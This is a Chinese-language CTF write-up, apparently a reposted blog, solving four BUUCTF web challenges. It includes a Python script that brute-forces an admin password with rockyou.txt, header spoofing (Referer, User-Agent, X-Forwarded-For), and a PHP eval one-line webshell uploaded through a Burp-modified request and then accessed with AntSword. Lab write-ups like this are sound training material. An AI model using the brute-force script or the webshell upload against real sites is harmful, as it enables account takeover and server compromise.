buuctf_NSBlogin_http_upload(極客2019+ACTF2020新生賽)

今天做三+1個web

題目:NSB_login

在這里插入圖片描述
用戶名有admin,看源碼:
在這里插入圖片描述
I like rockyou!今天學習到,kali里面有密碼爆破的文件叫rockyou.txt(/usr/share/wordlists/)(沒kali也可以去https://gitcode.com/Premium-Resources/754e5下載)。在這里插入圖片描述
按源碼備注提示,那就應該用這個字典進行爆破,burp也行,但佬說容易崩,所以在這用py腳本

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests
import json
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry# 目標URL - 確認是否為正確的登錄處理地址
url = "http://34c06c2f-cdc1-46e7-bdb4-817ca697d251.node5.buuoj.cn:81/login.php"# 配置會話
session = requests.Session()
retry_strategy = Retry(total=3,backoff_factor=0.1,status_forcelist=[429, 500, 502, 503, 504]
)
adapter = HTTPAdapter(max_retries=retry_strategy, pool_connections=10, pool_maxsize=10)
session.mount("http://", adapter)
session.mount("https://", adapter)# 添加常見的請求頭,模擬瀏覽器行為
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36","Content-Type": "application/x-www-form-urlencoded","Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3","Referer": url,  # 添加來源頁,有些服務器會檢查"Connection": "keep-alive"
}# 先獲取登錄頁面,可能需要獲取cookie
try:session.get(url, headers=headers, timeout=5)
except Exception as e:print(f"獲取登錄頁面失敗: {str(e)}")with open('D:\\rockyou.txt', 'r', encoding='utf-8', errors='ignore') as f:i = 0for line in f:password = line.strip()if not password:continuedata = {'email': 'admin','password': password,'remember_me': 0}try:# 發送POST請求response = session.post(url, data=data, headers=headers, timeout=5)response.encoding = 'utf-8'# 每500個密碼打印一次狀態if i % 500 == 0:print(f"已嘗試 {i} 個密碼,當前嘗試: {password} (狀態碼: {response.status_code})")# 檢查狀態碼if response.status_code == 405:print(f"\n服務器拒絕請求 (405),可能需要修改請求方式或URL")print(f"響應內容: {response.text[:500]}")break# 檢查是否是成功的響應if response.status_code == 200:# 解析響應try:result = json.loads(response.text)# 根據返回的消息判斷if result.get('ret') == 0 and "密碼錯誤" in result['data'].get('msg', ''):# 密碼錯誤,繼續嘗試passelse:# 可能是成功的情況print(f"\n找到正確密碼! 第{i}個嘗試: {password}")print(f"響應內容: {result}")breakexcept json.JSONDecodeError:# 非JSON響應,檢查是否包含密碼錯誤if "密碼錯誤" not in response.text:print(f"\n找到正確密碼! 第{i}個嘗試: {password}")print(f"響應內容: {response.text[:500]}")breakelse:# 其他狀態碼,可能是成功print(f"\n找到正確密碼! 第{i}個嘗試: {password} (狀態碼: {response.status_code})")print(f"響應內容: {response.text[:500]}")breaki += 1except Exception as e:print(f"\n請求出錯: {str(e)},當前密碼: {password}")continueelse:print(f"已嘗試所有密碼({i}個),未找到正確密碼")

記得修改上面的url和你真實rockyou.txt的位置。跑了許久(他會報錯的,報錯后過一會就會跳出Flag),得到:
在這里插入圖片描述

題目:http

在這里插入圖片描述
在這里插入圖片描述
還挺長的一個網頁,看看源碼。
在這里插入圖片描述
文件鏈接,點進去看看
在這里插入圖片描述
說這不從"https://Sycsecret.buuoj.cn"來,打開burpsuite抓包修改重放下

Referer: https://Sycsecret.buuoj.cn

在這里插入圖片描述
紅框里是新添加的,點擊放包看看效果:
在這里插入圖片描述
那再修改,修改代理,把原先User-Agent修改為題目上述提示的Syclover browser

User-Agent:Syclover browser

在這里插入圖片描述
得到
在這里插入圖片描述
No!?說你只能本地看。那把改本地

X-Forwarded-For: 127.0.0.1

在這里插入圖片描述
得到:
在這里插入圖片描述

題目:[極客大挑戰 2019]Upload

題目如下,看前端源碼沒有可以注意的東西
在這里插入圖片描述
我試著上傳一張圖片(背景.jpg),結果回顯:
在這里插入圖片描述
搜尋資料,建議,先傳馬,一句話木馬:

GIF89a
<script language='php'>eval($_POST['shell']);</script>

寫入.txt里,將文件上傳,但上傳中用BP攔截修改文件
在這里插入圖片描述
這樣就可以成功繞過前端的檢查,得到
在這里插入圖片描述
后面根據這個馬,通過蟻劍進行連接。(下圖前面多了個http://,記得刪)連接地址是"url"/upload/shell.phtml
在這里插入圖片描述
連接成功后,在根目錄找到了flag
在這里插入圖片描述

點擊查看
在這里插入圖片描述

題目:[ACTF2020 新生賽]Upload

題目如下
在這里插入圖片描述
打開前端,看看源碼
在這里插入圖片描述
依然是前端驗證
傳jpg然后BP改成一句話木馬,就可以用蟻劍連接了。和上一道([極客大挑戰 2019]Upload)一模一樣
在這里插入圖片描述
flag還是在根目錄:
在這里插入圖片描述

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/95565.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/95565.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/95565.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

IDEA如何引用brew安裝的openjdk

因為 brew 安裝的 openjdk@21 目錄結構和 IDEA 期望的 JDK 目錄不一樣。所以默認brew安裝的jdk,在IDEA中是無法識別到的。 一、創建軟連接 sudo mkdir -p /Library/Java/JavaVirtualMachines sudo ln -sfn /usr/local/opt/openjdk@21/libexec/openjdk.jdk /Library/Java/Java…

【Unity3D】Spine黑線(預乘問題)、貼圖邊緣裁剪問題

一、黑線問題 Spine正確的導出和Unity導入設置&#xff08;解決黑邊/彩條帶問題&#xff09;_spine導出的圖片有黑邊-CSDN博客 采用&#xff08;已解決問題&#xff09; Texture 打包器啟用 Premultiply alpha ,禁用Bleed Unity Texture 設置中禁用 sRGB (Color Texture) 和…

嵌入式系統學習Day18(文件編程-系統調用文件IO)

- open#include <sys/types.h> #include <sys/stat.h> #include <fcntl.h>int open(const char *pathname, int flags); int open(const char *pathname, int flags, mode_t mode); 功能:打開文件 參數:pathname --- 文件名 flags 必選:O_RDONLYO_WRONLY…

Vue淺學

概述在最近的學習任務中了解了 Vue&#xff0c;并對其產生了濃厚的興趣&#xff0c;現在分享一下我的學習所得關鍵字其一statestate 是 Vuex 存儲中的“狀態對象”&#xff0c;用于存儲整個應用的共享數據&#xff08;如用戶信息、令牌、權限等&#xff09;&#xff0c;比如&am…

機器翻譯:Hugging Face庫詳解

文章目錄一、Hugging Face概述1.1 Hugging Face介紹1.2 核心理念&#xff1a;模型即服務&#xff0c;但以開源形式二、核心架構2.1 Transformers庫&#xff1a;模型交互的統一接口2.2 Datasets庫&#xff1a;高效的數據處理引擎2.3 Tokenizers庫&#xff1a;文本與模型的“翻譯…

服務器安裝gielab社區版

第一步&#xff1a;安裝Gitlab 1,使用的是CentOs鏡像(服務器最低配置為4核8g內存才行要不然帶不動) 登錄目標實例。 2,執行如下命令&#xff0c;安裝所需依賴。 1 sudo yum install -y curl policycoreutils-python openssh-server 3,執行如下命令&#xff0c;啟動SSH服務…

C#報錯:System.NullReferenceException:“未將對象引用設置到對象的實例。”

C#使用自定義的類創建數組時&#xff0c;使用時報錯&#xff0c;報錯內容如下圖&#xff1a;原因&#xff1a;C#中的數組是引用類型。當聲明自定義類數組時&#xff0c;數組本身會被創建&#xff0c;但其元素&#xff08;即自定義類的實例&#xff09;默認未被實例化&#xff0…

Maven 的 module 管理

一、Maven 的 module 管理 1. 什么是 Maven module&#xff1f; Maven module&#xff08;模塊&#xff09;&#xff0c;是 Maven 多模塊項目結構&#xff08;multi-module project&#xff09;中的核心概念。它允許你將一個大型項目拆分為若干獨立的小項目&#xff08;模塊&am…

現在都是APP,小程序搶購,支持瀏覽器不支持 SSE

在 APP 和小程序搶購場景中&#xff0c;通常不原生支持SSE&#xff08;Server-Sent Events&#xff09;&#xff0c;這與瀏覽器對 SSE 的支持情況不同&#xff0c;具體如下&#xff1a;APP&#xff1a;一般情況下&#xff0c;APP 端不支持原生 SSE。若使用 UniApp 開發&#xf…

Spring Boot 深度解析:從原理到實踐

一、Spring Boot 本質與核心價值 1.1 什么是 Spring Boot&#xff1f; Spring Boot 是 Spring 生態的革命性框架&#xff0c;旨在解決傳統 Spring 開發的復雜性。它通過"約定優于配置"&#xff08;Convention Over Configuration&#xff09;理念&#xff0c;提供開箱…

WebSocket-java篇

問題引入消息推送的方式我們要實現&#xff0c;服務器把消息推送到客戶端&#xff0c;可以輪訓&#xff0c;長輪訓還有sseWebSocket理論WebSocket 的由來與核心價值誕生背景&#xff1a;解決 HTTP 協議在實時通信中的固有缺陷&#xff08;單向請求-響應模式&#xff09;核心驅動…

用Python從零開始實現神經網絡

反向傳播算法用于經典的前饋人工神經網絡。 它仍然是訓練大型深度學習網絡的技術。 在這個教程中&#xff0c;你將學習如何用Python從頭開始實現神經網絡的反向傳播算法。 完成本教程后&#xff0c;您將了解&#xff1a; 如何將輸入前向傳播以計算輸出。如何反向傳播錯誤和…

算法148. 排序鏈表

題目&#xff1a;給你鏈表的頭結點 head &#xff0c;請將其按 升序 排列并返回 排序后的鏈表 。示例 1&#xff1a;輸入&#xff1a;head [4,2,1,3] 輸出&#xff1a;[1,2,3,4] 示例 2&#xff1a;輸入&#xff1a;head [-1,5,3,4,0] 輸出&#xff1a;[-1,0,3,4,5] 示例 3&a…

在騰訊云CodeBuddy上實現一個AI聊天助手

在騰訊云CodeBuddy上實現一個AI聊天助手項目 在當今數字化時代&#xff0c;AI聊天助手已經成為一種非常流行的應用&#xff0c;廣泛應用于客戶服務、智能助手等領域。今天&#xff0c;我們將通過騰訊云CodeBuddy平臺&#xff0c;實現一個基于Spring Boot和OpenAI API的AI聊天助…

JavaScript Array.prototype.flatMap ():數組 “扁平化 + 映射” 的高效組合拳

在 JavaScript 數組處理中&#xff0c;我們經常需要先對每個元素進行轉換&#xff08;映射&#xff09;&#xff0c;再將結果 “鋪平”&#xff08;扁平化&#xff09;。比如將數組中的每個字符串按空格拆分&#xff0c;然后合并成一個新數組。傳統做法是先用map()轉換&#xf…

區塊鏈與元宇宙:數字資產的守護者

1 區塊鏈支撐元宇宙數字資產的底層邏輯1.1 不可篡改性構建信任基石區塊鏈的不可篡改性為元宇宙數字資產提供了堅實的信任基礎。其核心在于分布式賬本技術&#xff0c;當一筆數字資產交易發生時&#xff0c;會被打包成區塊并廣播至網絡中的所有節點。每個節點都會對這筆交易進行…

Linux軟件編程:進程和線程(進程)

進程一、基本概念進程&#xff1a;是程序動態執行過程&#xff0c;包括創建、調度、消亡程序&#xff1a;存放在外存的一段數據的集合二、進程創建&#xff08;一&#xff09;進程空間分布每個進程運行起來后&#xff0c;操作系統開辟0-4G的虛擬空間進程空間&#xff1a;用戶空…

Mybatis學習筆記(五)

分頁插件與性能優化 分頁插件配置 簡要描述&#xff1a;MybatisPlus分頁插件是基于物理分頁實現的高性能分頁解決方案&#xff0c;支持多種數據庫的分頁語法&#xff0c;能夠自動識別數據庫類型并生成對應的分頁SQL。 核心概念&#xff1a; 物理分頁&#xff1a;直接在SQL層面進…

企業可商用的conda:「Miniforge」+「conda-forge」

文章目錄一、徹底卸載現有 Anaconda/Miniconda二、安裝 Miniforge&#xff08;推薦&#xff09;macOS/Linux檢查Windows檢查三、將通道固定為 conda-forge&#xff08;嚴格優先&#xff09;四、驗證是否仍引用 Anaconda 源五、常見問題&#xff08;FAQ&#xff09;六、參考命令…

Flutter ExpansionPanel組件(可收縮的列表)

可以展開或者收縮的面板組件&#xff0c;收縮面板組件效果由ExpansionPanelList組件和ExpansionPanel組件共同完成。 ExpansionPanelList屬性說明屬性說明children子元素expansionCallback設置回調事件ExpansionPanel屬性說明headerBuilder收縮的標題body內容isExpanded設置內容…